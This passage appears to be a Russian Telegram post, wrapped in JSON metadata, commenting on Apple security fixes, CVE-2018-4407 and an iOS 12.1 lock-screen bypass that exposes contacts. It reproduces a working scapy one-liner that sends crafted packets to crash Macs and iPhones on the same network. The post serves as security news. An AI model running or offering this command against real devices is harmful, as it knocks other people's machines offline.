\u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435. \n\n\u0412\u0447\u0435\u0440\u0430 Apple \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0447\u0438\u0442\u0430\u0439 \u2014\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445) \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0443\u0442 https://support.apple.com/en-us/HT201222. \u042f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044c, \u0447\u0442\u043e \u0442\u0435\u0440\u043c\u0438\u043d \"arbitrary code\" \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432 macOS 10.14 Mojave \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0440\u0430\u0437! \n\n\u0422\u0430\u043c \u0436\u0435 \u0438 \u0442\u0430\u043a\u0430\u044f \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u043e\u043c CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407) \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f ICMP \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \"\u0437\u0430\u0432\u0430\u043b\u0438\u0442\u044c\" \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438 \u041c\u0430\u043a \u0441 High Sierra \u0438 ios-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441 iOS 11, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u043c \u0432\u0438\u0434\u0435\u043e \u0432 \u0442\u0432\u0438\u0442\u0435 (https://twitter.com/kevin_backhouse/status/1057352656560287746):\n\n\u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u043e\u0436\u0435 \u0443\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u0438\u043d \u0442\u0432\u0438\u0442:\npip install scapy\nsudo scapy \nsend(IP(dst=\u201cTarget IP\u201c,options=[IPOption(\u201cA\u201d*8)])/TCP(dport=2323,options=[(19, \u201c1\"*18),(19, \u201c2\u201d*18)]))\n\n\u041d\u0443 \u0438, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0438 \u043f\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0440\u0430\u043d \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 iOS, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u0430\u043c \u0432 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0432 \u0441\u0432\u0435\u0436\u0435\u0432\u044b\u0448\u0435\u0434\u0448\u0435\u0439 iOS 12.1:\nhttps://youtu.be/ojigFgwrtKs\n\n\u0428\u0430\u0433\u0438 \u0442\u0430\u043c \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0435, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0439 \u043a\u043d\u0438\u0433\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u043e\u0436\u043d\u043e. \u041c\u043d\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043a\u043e\u043c\u0443-\u0442\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Apple \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u043d\u0443\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0443 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0436\u0435, \u044d\u0442\u043e \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439.", "url": "https://t.me/alexmakus/2490", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-10-29T02:04:35.995Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}